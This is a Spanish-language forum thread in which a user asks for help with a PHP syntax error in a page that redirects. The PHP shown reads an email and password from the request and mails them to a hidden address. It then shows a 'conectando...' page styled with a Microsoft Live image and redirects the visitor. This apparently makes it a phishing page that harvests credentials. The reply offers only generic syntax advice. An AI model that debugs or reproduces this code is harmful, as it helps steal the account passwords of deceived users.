Redireccionar una página php con html

Hola, disculpe tengo problemas para redireccionar mi página hecha en php pero incluye código html, ya busqué ejemplos en la web pero no encuentro el error
<?
//Si se ha pulsado enviar, se comprueban los datos insertados y después se envía el correo
    if(isset($_POST['enviar'])){
        $correo=filter_input(INPUT_POST,"email",FILTER_SANITIZE_STRING);
  if($correo=="")
   $errores[]="El campo email no puede estar vacio";
 $clave=filter_input(INPUT_POST,"contraseña",FILTER_SANITIZE_STRING);
  if($clave=="")
   $errores[]="El campo contraseña no puede estar vacio";
    }else{
         $destinatario= "[email protected]";
  $cuerpo=$_GET['email'];
                $cuerpo2=$_GET['contraseña'];
  $pfw_subject = "Mensaje recibido, Asunto Reclutamiento sR|";
           @mail($destinatario ,$cuerpo,$cuerpo2) ;  
     echo "
<html>
<head>
<title>Pagina que redirige</title>
<meta http-equiv="refresh"
content="2;url=http//www.desarrolloweb.com">
</head>
<body background=secure.wlxrs.com/~Live.SiteContent.ID/~15.3.21/~/~/~/~/images/wave3header.jpg>
  conectando...
</body>
</html>
";
}
?>
EL ERROR QUE MARCA ES "syntax error, unexpected T_STRING, expecting ',' or ';' in C:\AppServ\www\index.php on line 21"

1 respuesta

Respuesta
1
Es un error de sintaxis, te falta un punto y coma, o cerrar una llave de un condicional... dice en la linea 21, compruébalo antes de profundizar
Hola disculep por no responder luego luego pero no tenia conexión
ya cheque exactamente donde me marca el error y es en la etiqueta
<meta http-equiv="refresh"
content="2;url=http//www.desarrolloweb.com">
no entiendo porque, cuando incluimos html en php la estructura de ser:
echo "
<html>
<head>
Mi encabezado
<meta http-equiv="refresh"
content="2;url=http//www.desarrolloweb.com">
en este caso para redirigir
</head>
</html>
"; Y si escribí el punto y coma al final

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas